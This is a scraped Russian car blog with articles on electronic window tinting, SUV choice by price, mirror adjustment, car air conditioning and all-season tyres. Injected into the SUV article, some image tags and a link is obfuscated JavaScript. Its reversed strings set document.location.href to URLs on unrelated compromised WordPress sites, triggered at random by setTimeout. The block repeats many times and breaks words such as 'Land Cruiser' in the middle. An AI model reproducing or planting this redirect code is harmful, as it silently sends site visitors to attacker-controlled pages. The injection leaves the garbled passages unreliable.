автомобиль

Можно ли затонировать авто «в ноль» и при этом не иметь проблем с инспекторами? Да. Поможет электронная тонировка стекол.

Тонированный автомобиль – это стильно, модно и, главное, комфортно. Так, по крайней мере, думают многие автолюбители. Но вот незадача – сотрудники Госавтоинспекции не разделяют этой любви и требуют соблюдать нормы закона, в котором чётко прописаны нормы затемнения стёкол машин, сколько света они должны пропускать.

Что это за метод, рассмотрим ниже.

Электронная тонировка стекол — фантастика или реальность?

Обычная тёмная плёнка для окон, которая так не нравится сотрудникам ГИБДД – уже, по сути, пережиток прошлого, хотя, конечно, она остаётся самым дешёвым способом скрыть происходящее в автомобиле от окружающих взглядов и от палящего солнца.

Так как мы живём в век цифровых технологий и всяческого «хай-тека», то и в области визуальной модернизации наших четырёхколёсных друзей появились свежие и интересные веяния. Электронная тонировка – одна из таких модных штучек.

Только представьте, стекло в вашей машине может менять свою прозрачность по нажатию одной кнопки, и это не фантастика, а вполне реальная технология, которой оборудуют современные авто.

to-ru.ru/wp-content/uploads/2017/06/elektronnaya-tonirovka-stekl.jpg» alt=»Электронная тонировка стёкол автомобиля» width=»770″ height=»306″/>

Принцип действия этой технологии основан на свойствах жидких кристаллов, находящихся внутри специальной плёнки.

Под действием напряжения, прикладываемого к электродам, кристаллы меняют своё положение, причём делают это таким образом, что плёнка становится прозрачной для лучей света.

to-ru.ru/wp-content/uploads/2017/06/elektron-tonirovka.jpg» alt=»Электронная тонировка стекол. Принцип действия» width=»700″ height=»566″/>

Кстати, если электрическое напряжение регулировать плавно, то и прозрачность будет меняться плавно. В этом и заключается электронная тонировка стёкол автомобиля.

Разновидности и особенности

Давайте углубимся в вопрос и рассмотрим, какой может быть электронная тонировка. Вариантов несколько и все они стоят внимания:

• SPD технология;
• PDLC технология;
• «электротонировка», которую, скажем сразу, ошибочно, но упорно причисляют к данному списку.

SPD технология

Электронная тонировка стёкол по технологии SPD. Перевести данную аббревиатуру на русский можно как «плавное изменение прозрачности».

Её особенность заключается в том, что ваш автомобиль оборудуют уже готовыми двойными стеклопакетами, внутри которых находится та самая заветная плёнка.

Производство таких стёкол сопряжено с серьёзными технологическими трудностями, из-за чего занимается этим на территории России только одна фирма по лицензии, полученной от американской корпорации Research Frontiers Inc.

Как можно понять из названия такое остекление авто может плавно изменять интенсивность затемнения, причём делать это может электронный способ в зависимости от освещения на улице или же при помощи блока управления непосредственно водителем.

В обесточенном состоянии электронная тонировка становится полностью непрозрачной, что также довольно удобно.

PDLC технология

Более доступной является электронная тонировка стёкол автомобиля по технологии PDLC. Это тоже плёнка, но она легче наносится на стёкла, благодаря клеевой основе и специальной подготовке, что менее затратно.

to-ru.ru/wp-content/uploads/2017/06/elektronnaya_tonirovka-DLC.jpg» alt=»Принцип тонирования пленкой PDLC » width=»600″ height=»397″/>

Как правило, этот вариант работает как шторки в машине – имеется только два режима: когда плёнка обесточена, она полностью непрозрачна, а когда на неё подаётся напряжение, становится прозрачной.

Электротонировка

Самым доступным и самым не технологичным способом временно затонировать своё авто является так называемая «электротонировка». Её часто ошибочно причисляют к инновационной электронной тонировке, хотя она никак не связана с ней.

Возможно, это делают по незнанию, а возможно и с какими-то корыстными целями. Дело в том, что никакие супер-плёнки в этом деле не участвуют, всё гораздо проще.

Машина оборудуется ещё одним набором стеклопакетов с обычной тонировочной плёнкой и со своими, отдельными электроприводами.

Это позволяет при необходимости отдельно от всего остекления поднимать или опускать непрозрачные стёкла. Так что никакая это не электронная тонировка стекол автомобиля!

Сколько стоят эти ноу-хау?

Ну и в конце немного о грустном… о ценах. Скажем так – это удовольствие далеко не из дешёвых. Только представьте, электронная тонировка стекол по технологии SPD (двух передних) обойдётся примерно в 400 тысяч рублей.

PDLC технология немного доступней – до 80 тысяч.

Ну а самым бюджетным вариантом ожидаемо оказалась электротонировка при помощи дополнительной пары стёкол – не дороже 50 тысяч рублей за всё.

Ну чтож, коллеги-автолюбители, как вы видите за инновационные технологии, такие как электронная тонировка стёкол, нужно выкладывать кругленькие суммы, поэтому они ориентированы в первую очередь на люксовый сегмент автомобилей.

Некоторые топовые бренды, к примеру, Mercedes, предлагают такие штуки в качестве опций, и прямо с завода можно получить уже готовое авто с «умным» остеклением. Как говорится, любой каприз за ваши деньги!

На этом всё, спасибо за внимание!

Если вы задумали покупку и окончательно определились с форматом авто, но до конца не понимаете чем отличаются кроссовер от внедорожника, то прочтите эту статью и определитесь какой внедорожник выбрать, какой лучше всего соответствует вашим запросам.

Наверняка, один из главных вопросов, который возникает в голове – сколько это будет стоить? Надо признать, внедорожники и кроссоверы удовольствие не из дешёвых.

За возможность чувствовать себя уверенно и в городе и даже на бездорожье придётся выложить не менее 1 мил.руб., а вот верхняя граница… Впрочем, разделим претендентов на покупку на несколько ценовых категорий и приведём примеры наиболее популярных моделей.

Какой внедорожник выбрать. Что почём?

В принципе, будет достаточно честно поделить всех следующим образом:

• автомобили стоимостью до 1 миллиона рублей включительно;
• от 1 до 1,5 млн руб.;
• от 1,5 до 3 млн руб.;
• от 3 млн и до бесконечности.

Какой внедорожник выбрать в дешёвой ценовой категории?

Здесь, как ни странно, присутствуют довольно неплохие экземпляры, особенно для тех, кто ищет настоящий, честный внедорожник для поездок по действительно плохой дороге. К примеру, отечественные УАЗ Хантер и Патриот – настоящие хиты, пользующиеся авторитетом у охотников и рыболовов, Lada 4×4, Chevrolet Niva.

to-ru.ru/wp-content/uploads/2017/06/uaz..jpg» alt=»Какой внедорожник выбрать. УАЗ Патриот» width=»700″ height=»429″/>

Есть выбор среди китайских кроссоверов, наподобие Great Wall Hover H3 или более европейского Renault Duster. Конечно, шикарного салона и навороченной электроники за эту сумму вы не получите, лишь необходимые функции.

to-ru.ru/wp-content/uploads/2017/06/Hover.jpg» alt=»Great Wall Hover H3″ width=»700″ height=»362″/>

Поднимаемся далее по ценовой лестнице. До 1,5 млн.руб. можно приобрести уже более-менее премиальный автомобиль с внедорожными качествами, хотя настоящих покорителей плохих дорог тут практически нет, а присутствуют в основном городские кроссоверы.

Среди таких: чистокровные компактные немцы BMW X1 и Audi Q3, корейцы с просторным салоном Hyundai Santa Fe и Kia Sorento, японские Mitsubishi Pajero и Nissan Murano и ещё ряд моделей.

to-ru.ru/wp-content/uploads/2017/06/audi-q3.jpg» alt=»Audi Q3″ width=»700″ height=»392″/>

В большинстве случаев среди перечисленных выше авто в данном ценовом промежутке находятся базовые комплектации, с маломощными моторами, переднеприводной конфигурацией трансмиссии и простыми опциями – кондиционер, тряпичная обивка и порой даже отсутствие мультимедиа системы. Дополнительное оборудование резко поднимет их цену и, скорее всего, перенесёт в следующую категорию.

Цена от 1,5 до 3 млн.р. уже довольно кусачая. Какой внедорожник выбрать в этом диапазоне?

Представители этой категории – машины люкс-класса. Например, среднеразмерные BMW X3, Mercedes GLC, Audi Q5, Volvo XC60, Lexus NX.

to-ru.ru/wp-content/uploads/2017/06/bmw-x3.jpg» alt=»BMW X3″ width=»700″ height=»446″/>

Нужно отметить, что автосалоны, любезно предлагая эти модели не дороже 3 «лимонов», как правило, уточняют, что за такие деньги в ваши руки передадут довольно пустой автомобиль без кучи заманчивых «плюшек».

Ну и, конечно, задача менеджеров, раскрутить покупателя на бОльшие траты, хотя иногда они того стоят. В любом случае перечисленные модели будут внушать уважение к их владельцу, и на дороге вы однозначно почувствуете на себе восторженные взгляды.

Что же касается внедорожных характеристик, то они довольно скромные – данные авто хоть и имеют неплохой клиренс и полные привод, но предназначены в первую очередь для города.

Ну и на десерт представители топовой касты – самые дорогие и престижные.

К их числу относятся BMW X5 и X6, Audi Q7, классика японского автопрома — Toyota Ltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Cruiser 200 и Lexus LX 570, строгий и навороченный британец Range Rover, конечно же, Porsche Cayenne, Mercedes G и GLS, ML, GL и другие.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Cruiser» src=»//auto-ru.ru/wp-content/uploads/2017/06/toyota-ltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andcruiser.jpg» alt=»Toyota Ltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Cruiser» width=»700″ height=»355″/>

Самые дорогие, мощные, роскошные и самые интеллектуальные. Все они оснащены передовым функционалом наподобие полуавтоматических систем управления и прочими опциями, которые недоступны простым смертным. Как говорится – любой каприз за ваши деньги.

Ну что ж, дорогие наши любители автомобилей, теперь вы имеете представление о том, какой внедорожник выбрать и сколько он может стоить.

Полезно будет немного углубиться в устройство внедорожников и прочесть «to-ru.ru/avtomobil-s-postoyannym-polnym-privotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom.html» target=»_blank» rel=»noopener noreferrer»>Полный привод: что выбраем джип или паркетник», несколько статей в to-ru.ru/podveska» target=»_blank» rel=»noopener noreferrer»>разделе «Подвеска» и статьи из раздела трансмиссии «to-ru.ru/sistema-4-matic-chto-eto.html» target=»_blank» rel=»noopener noreferrer»>Система 4matic», «to-ru.ru/polnyj-privod-quattro-printsip-raboty.html» target=»_blank» rel=»noopener noreferrer»>Полный привод Guattro». Да там всё интересно, читайте.

Удачных покупок и до новых встреч на страницах блога!

Эти до боли простые, зеркала заднего вида, настолько эффективны, что устанавливаются на машинах уже много десятилетий, что даже в наш век интеллектуальной электроники они не утратили своей актуальности. Все ли водители умеют правильно ими пользоваться? Как правильно настроить боковое зеркало заднего вида? Об этом и о многом другом поговорим в этой статье.

Боковое зеркало заднего вида: когда оно появилось?

Пожалуй, начнём с небольшого экскурса в историю. Поразительно, но автомобильные эксперты не имеют единого мнения о том, когда появилось зеркало заднего вида на машинах.

to-ru.ru/wp-content/uploads/2017/05/mirror-zadvida.jpg» alt=»Боковое зеркало заднего вида» width=»700″ height=»425″/>

По одной из версий впервые данное приспособление в серийном авто установили ещё в 1906 году на одном из творений культовой марки Rolls-Royce.

По другой, зеркалам мы обязаны автоспорту. Именно перед легендарной гонкой 500 миль Индианаполиса в далёком 1911 году на одной из машин было смонтировано это устройство, которое заменило собой механика – второго члена экипажа, по сути, смотрящего назад. Так и началась история данного привычного уже для нас элемента.

Справедливости ради нужно отметить, что боковое зеркало заднего вида стало необходимостью только в 50-х годах минувшего столетия.

Но в большинстве случаев автопроизводители комплектовали машины исключительно внутрисалонным зеркалом, без боковых приспособлений авто выпускались вплоть до 70-х.

Какие бывают зеркала и как ими правильно пользоваться?

На современных автомобилях в обязательном порядке устанавливаются следующие виды зеркал:

• салонное – крепится в подавляющем большинстве случаев посередине лобового стекла и имеет прямоугольную форму. Встречаются так называемые панорамные или сферические салонные зеркала. Они имеют специальную изогнутую форму отражающего элемента, которая позволяет увеличить угол обзора. Главный недостаток, присущий им – искажение восприятия расстояния, из-за чего понадобится время, прежде чем водитель привыкнет правильно определять дистанцию до объектов сзади;
• боковые – устанавливаются по обе стороны авто на передних дверях или передних крыльях.

Главной функцией этих приспособлений, является, конечно же, обеспечение максимального обзора для водителя, чтобы он мог корректно оценивать дорожную обстановку и выполнять безопасные манёвры во время движения.

to-ru.ru/wp-content/uploads/2017/05/salon-mirrors.jpg» alt=»Салонное зеркало заднего вида» width=»700″ height=»369″/>

Но есть и ещё дна роль – декоративная. Дело в том, что производители машин очень много внимания уделяют дизайну своей продукции, и зеркало заднего вида, особенно боковое, даёт очень большие возможности для игр с формой. Их изготавливают большими, маленькими, со стремительными формами, подчёркивающими характер авто, и так далее.

Умеем ли мы правильно использовать боковое зеркало заднего вида и его внутрисалонного коллегу?

К сожалению, как показывает практика, многие водители не уделяют много внимание правильной настройке этих устройств, и очень зря, ведь от них напрямую зависит безопасность движения на дороге, особенно в плотном городском трафике.

Слепые зоны видимости

Одной из главных проблем обзора в автомобиле являются мёртвые зоны – зоны, которые водитель не может увидеть, посмотрев в зеркала и, как следствие, не заметить другое транспортное средство, что может привести к серьёзной аварии.

to-ru.ru/wp-content/uploads/2017/05/slep-zona.jpg» alt=»Слепые зоны » width=»700″ height=»554″/>

Давайте рассмотрим, как правильно настроить эти элементы, чтобы обеспечить максимальный обзор и свести к минимуму наличие этих неприятных зон.

Начнём с салонного. Делается эта процедура очень просто – необходимо отрегулировать его так, чтобы виртуальный центр заднего стекла машины отражался по центру зеркала. На этом всё.

Боковое зеркало заднего вида настраивается чуточку сложнее, ведь этих элементов в автомобиле два. Для начала сядьте в кресле так, как Вы сидите во время движения, затем наклонитесь максимально близко к стеклу водительской двери и поверните зеркало так, чтобы Вы могли увидеть часть заднего крыла.

Когда Вы вновь сядете ровно, крыло должно пропасть из обзора. Очень важно! При настройке крыло должно виднеться лишь чуточку, только в этом случае мёртвая зона будет минимизирована.

Теперь очередь за зеркалом со стороны пассажирской двери. Наклонитесь к центру салона и выставите его в положение, когда и в нём немного виднеется заднее крыло машины. На этом всё, осталось только проверить, всё ли сделано правильно.

Тут не обойтись без посторонней помощи. Попросите кого-нибудь обойти вокруг авто на расстоянии чуть более 2 метров. При идеальной настройке вы будете видеть человека всё время, пока он идти вокруг – это значит процедура прошла успешно и количество мёртвых зон сведено к минимуму.

Чтобы уменьшить мертвые зоны можно использовать дополнительные зеркала, они бывают разных видов. Приклеивающиеся в поле основного или крепящееся сверху или снизу. Они значительно улучшают обзор, но правда, немного выглядят инородными предметами, не вписывающимися в экстерьер автомобиля.

to-ru.ru/wp-content/uploads/2017/05/zona-no.jpg» alt=»Использование дополнительных зеркал для уменьшения мертвых зон» width=»700″ height=»314″/>

Ну что ж, друзья, теперь вы знаете, что автомобильное зеркало заднего вида также требует к себе внимания, и если эти элементы правильно настроить и не допускать их излишнего загрязнения, они будут отличным помощником на дороге.

На этом мы заканчиваем рассказ. До новых встреч на страницах нашего блога! Изучайте автомобили с нами!

Летом, вto-ru.ru/tipy-kuzovov-avtomobilej.html» target=»_blank» rel=»noopener noreferrer»> салонах автомобилей, под жарким солнцем, сами понимаете, сауна. И если ваш четырёхколёсный друг не оборудован кондиционером, то вам, мягко говоря, не совсем комфортно. Слава авто конструкторам, что практически все современные автомобили, уже имеют эту полезную опцию, но знают ли водители, как устроен автомобильный кондиционер?

Так давайте же восполним этот пробел и познакомимся ближе с этим замечательным устройством.

Автомобили и законы термодинамики

На самом деле, если вы знакомы с работой бытового климатического оборудования, то устройство «кондея» в машине покажется вам очень знакомым. Принцип аналогичен – всё основано на элементарных законах термодинамики.

Жидкости способны поглощать тепло при испарении и выделять его при конденсации

В качестве такой жидкости в автомобильном кондиционере используется фреон, который циркулирует в герметичной системе. Именно он и есть главный теплоноситель, и ему мы обязаны спасительной прохладой в салоне авто в знойные летние дни.

Автомобильный кондиционер. Устройство

Как же всё устроено? Конечно же, автопроизводители устанавливают в свою продукцию различные модели кондиционеров, регулярно совершенствуют их и придумывают какие-нибудь новые фишки.

to-ru.ru/wp-content/uploads/2017/05/ustroistvo-conditioning-system.jpg»>to-ru.ru/wp-content/uploads/2017/05/ustroistvo-conditioning-system.jpg» alt=»Автомобильный кондиционер. Принцип работы» width=»800″ height=»538″/>

Тем не менее, базовый принцип работы практически у всех одинаков, поэтому мы возьмём для примера среднестатистическую разновидность устройства и разберём её на составляющие части.

Итак, автомобильный кондиционер состоит из таких базовых элементов:

• ТРВ (терморег.вентиль или расширительный клапан);
• конденсатор;
• компрессор;
• ресивер-осушитель;
• вентиляторы;
• испаритель;
• предохранительный клапан.

to-ru.ru/wp-content/uploads/2017/05/shema-avto-kondicioner.jpg»>to-ru.ru/wp-content/uploads/2017/05/shema-avto-kondicioner.jpg» alt=»Схема работы кондиционера» width=»800″ height=»586″/>

Вместе всё работает следующим образом: сразу после того, как нажата кнопка включения, свою работу начинает компрессор, который приводится в движение при помощи шкива от ремённой передачи.

Он, по сути является сердцем кондиционера и занимается тем, что перекачивает из одной части системы в другую хладагент (фреон).

Кстати, о частях системы. Условно можно выделить две – сторона высокого давления и сторона низкого давления.

В первую часть компрессор подаёт фреон под хорошим давлением, который, в свою очередь, от этого сильно разогревается (примерно до +80 градусов по Цельсию).

Далее жидкость, а если точнее, то при такой температуре это пар (газ), поступает в конденсатор – большой радиатор, где он охлаждается примерно до 50 градусов и переходит в жидкое состояние.

Следующим элементом на пути хладагента является ресивер-осушитель. В его функции входит фильтрация фреона от грязи и пыли, а также от воды.

Далее тёплая охлаждающая жидкость поступают в следующий, крайне важный для работы всей системы элемент – ТРВ.

Он автоматически контролирует подачу хладагента в испаритель, на выходе этого же узла, и выступая в качестве ворот в часть низкого давления системы.

Попав в испаритель, фреон выполняет свою главную миссию, ради который мы и нажимаем кнопку включения кондиционера – он переходит в газообразное состояние и при этом, по законам физики, сильно охлаждается (почти до -2 градусов).

Чтобы передать прохладу в салон, испаритель обдувается вентилятором, направляющим поток воздуха к нам.

Покинув испаритель, ледяной газ по многочисленным трубкам вновь попадает в компрессор, чтобы снова пройти цикл температурных и агрегатных превращений ради нашего с вами комфорта.

Что может поломаться?

Автомобильный кондиционер, как и любое другое сложное устройство иногда, к сожалению, ломается.

Львиная доля всех неисправностей приходится на механические узлы, и в нашем случае таким является компрессор. Данный узел довольно непростой, с инженерной точки зрения и, как следствие, самый дорогой во всей системе, поэтому есть смысл следить за его состоянием и вовремя проводить профилактические работы.

Одной из часто встречающихся неисправностей компрессора выступает износ подшипника шкива.

Определить эту проблему можно по характерному шуму, появляющемуся в месте установки этого узла. Услышав необычные звуки, не стоит медлить и лучше как можно быстрее посетить автосервис, где смогут провести ремонт. В противном случае компрессор может заклинить и тогда поможет только его полная замена.

to-ru.ru/wp-content/uploads/2017/05/compressor-cond.jpg»>to-ru.ru/wp-content/uploads/2017/05/compressor-cond.jpg» alt=»Компрессор автомобильного кондиционера» width=»800″ height=»651″/>

К другим частым проблемам можно отнести коррозию пластин конденсатора. Из-за того что этот элемент, как правило, изготавливают из алюминиевых сплавов, он сильно подвержен влиянию вредных веществ, встречающихся в атмосфере и на дорогах.

Герметичность системы также нарушается довольно часто. Множество трубок и патрубков, расположенных во всевозможных углах подкапотного и не только пространства, норовят то и дело порваться, переломиться или протечь.

Одним словом, автомобильный кондиционер, требует к себе внимания, и не стоит брезговать периодическими профилактиками, которые можно провести в специальных мастерских.

Друзья, спасибо за внимание! И советую, из области комфорта, почитать про to-ru.ru/sidene-avtomobilya.html» target=»_blank» rel=»noopener noreferrer»>автомобильные сидения.

До новых встреч на страницах блога!

Давайте порассуждаем о резине и проясним какие всесезонные шины для внедорожников лучше всего брать. Или не брать.

Как подобрать всесезонные шины для внедорожников?

Прежде чем идти в магазин за резиной для вашего джипа или паркетника, давайте подробно рассмотрим такое понятие, как всесезонные шины.

Все забугорные шины маркируются All Season и All Weather, еще может быть со значками снежинки и солнышка. И те и другие, утверждают производители, выпускаются для эксплуатации в любое время года.

Но если подумать. Это как же, что за чудесный материал изобрели шинники? И зимой он мягкий, и летом твердый? Ан нет, друзья, чудес нет. Во всяком случае с автомобильной резиной, точно. Не изобрели еще такую чудо-резину.

Всесезонная резина предназначена для эксплуатации при температуре около 0 градусов Цельсия!

Вся всесезонка может безопасно эксплуатироваться только в мягких климатических зонах. Там где зима с 0 градусов или небольшим минусом. Например, в южных областях России или в приморских районах, там где температура опускается максимум до -5 градусов.

Дело в том, что такая резина при температуре -7 градусов вообще теряет свои эластичные свойства, а в сильные морозы становится просто опасной для эксплуатации.

to-ru.ru/wp-content/uploads/2017/05/vsesezon-shina.jpg»>to-ru.ru/wp-content/uploads/2017/05/vsesezon-shina.jpg» alt=»Всесезонные шины для внедорожников» width=»800″ height=»534″/>

Если сравнить свойства всесезонной и зимней резины, а это показывают тесты, то у зимней резины сцепление с дорогой, по отношению к всесезонной, на 50-60% выше!!! Этот показатель говорит сам за себя.

Зимняя резина производится из специальных материалов, которые придают ей необходимую эластичность, она не теряется в сильные морозы и держит дорогу, прилипая к ней.

Протектор всесезонных шин

Информация для тех, кто живет в умеренных климатических зонах и собирается эксплуатировать всесезонные шины.

Всесезонные шины выпускаются для эксплуатации круглый год и поэтому в них пытались соединить качества летних и зимних шин. Например, большинство имеют скругленные края шин как летних, а от зимних, широкие канавки протектора с рассеченными ламелями.

Если подробно о протекторе, то у зимних он высокий, имеет специальный рисунок, состоящий из протекторных блоков. Такие шины как бы самоочищающие от снега. Летние же имеют более низкий протектор, с меньшим количеством широких канавок, для отвода воды при прохождении луж. Протектор нацелен на максимальное сцепление с горячим асфальтом.

to-ru.ru/wp-content/uploads/2017/05/protektop.jpg» alt=»Протекторы шин» width=»500″ height=»275″/>

Важно понять для себя, состав летних шин и зимних кардинально отличается. А всесезонная шина в принципе не может себя вести правильно на дороге в 30-градусную жару и в 20-градусный холод.

Почему всесезонные шины для внедорожников популярны?

Первое, это из экономии. Один комплект, это не два, а шины большого размера для внедорожника стоят несколько больше чем на обычный седан.

Второе. Как правило, автопроизводители на продажу комплектуют свои автомобили с всесезонной резиной, потому как не знают куда будет куплена машина и в каком регионе она будет эксплуатироваться.

Третье, почему всесезонные шины для внедорожников популярны, это любовь наших многочисленных автолюбителей к внедорожникам. Они считают, что черный внедорожник универсален во всем. И в городе на нем не стыдно блеснуть, и в сложных дорожных условиях без проблем, и в снег, и в грязь… Поэтому универсальность должна быть во всем.

В четвертых, опыт водителя. Опытный водитель очень хорошо чувствует автомобиль на дороге. Он знает, как и где ему ехать на той или иной резине. Я знаю много водителей, которых резина вообще не волнует. Он будет ездить на всесезонной как на летней летом, так и на зимней зимой. Так же уверенно и безаварийно.

to-ru.ru/wp-content/uploads/2017/05/vsesezon-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dor.jpg»>to-ru.ru/wp-content/uploads/2017/05/vsesezon-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dor.jpg» alt=»И зимой и летом» width=»800″ height=»571″/>

Вывод

Если вы водитель неопытный, не рискуйте, лучше подбирайте резину по сезону.

Ну а если вас не волнует сезонность, то обратите внимание на шины следующих производителей:

• Kumho. Эти шины ведут себя хорошо на асфальте. Хорошее сцепление с дорогой и устойчивы на больших скоростях.
• Hankook. Не дешевые. Хороши на бездорожье, но на асфальтовом покрытии сильно шумят, по причине высокого протектора.
• Michelin. Городские шины. Очень качественные, тихие, комфортны в управлении. Хороши по легкому бездорожью, но в жесткие непролазные дебри на них не советую.
• Goodyear. Дорогие. Но очень высокого качества. На сухом асфальте им нет равных, но вот по мокрой дороге не отличаются достойной управляемостью.
• Cordiant. Не дорогие. Высокий, агрессивный протектор. Глубокий снег, грязь, бездорожье, это стихия их стихия. Износостойкие.

В этой статье посмотрим как делают ремонт дороги, а точнее главного автобана Баварии (Германия) — А-9, который прокачивает до 200000 автомобилей в день.

На примере 4-х километрового участка, стоимость которого 4800000 Евро. Начало стройки 23-00 часа в пятницу, в воскресенье, в 16-00 работы должны быть закончены. В понедельник утром дорога должна быть открыта.

